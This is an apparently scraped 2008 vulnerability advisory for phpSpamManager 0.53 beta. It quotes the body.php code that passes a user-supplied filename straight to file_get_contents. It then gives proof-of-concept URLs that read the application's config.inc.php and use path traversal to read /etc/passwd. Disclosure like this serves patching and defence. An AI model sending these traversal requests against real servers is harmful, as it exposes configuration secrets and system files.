phpSpamManager 0.53b (body.php) Remote File Disclosure Vulnerability

🗓️ 01 Apr 2008 00:00:00Reported by RootType

phpSpamManager 0.53b Remote File Disclosure Vulnerability from body.ph


                                                phpSpamManager&nbsp;0.53&nbsp;beta&nbsp;(body.php)&nbsp;Remote&nbsp;File&nbsp;Disclosure&nbsp;Vulnerability
D.Script&nbsp;:&nbsp;http://sourceforge.net/project/showfiles.php?group_id=141000
Vuln&nbsp;Code&nbsp;
Ln&nbsp;38&nbsp;-&gt;&nbsp;47&nbsp;:&nbsp;
//get&nbsp;filename
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$okprint=false;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$filename&nbsp;=&nbsp;$_REQUEST['filename'];&nbsp;&lt;---&nbsp;XxX
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($filename!='FILENAME')
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;debug_print(&quot;analysing&nbsp;&quot;&nbsp;.$filename);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//replace&nbsp;#&nbsp;by&nbsp;dots&nbsp;if&nbsp;necessary
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$filename&nbsp;=&nbsp;preg_replace(&quot;/#/&quot;,&quot;.&quot;,$filename);
$mailtext=file_get_contents($filename);&nbsp;&lt;---&nbsp;XxX
	&nbsp;$email=new&nbsp;parseMail($mailtext);&nbsp;&lt;---&nbsp;XxX
POC&nbsp;:
/phpspammanager.0.53.dev/body.php?filename=include/config.inc.php
/phpspammanager.0.53.dev/body.php?filename=../../../../../../../../etc/passwd
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I'm&nbsp;Mahmood_ali&nbsp;---&nbsp;I'm&nbsp;Tryagi

01 Apr 2008 00:00Current

7.1High risk

Vulners AI Score7.1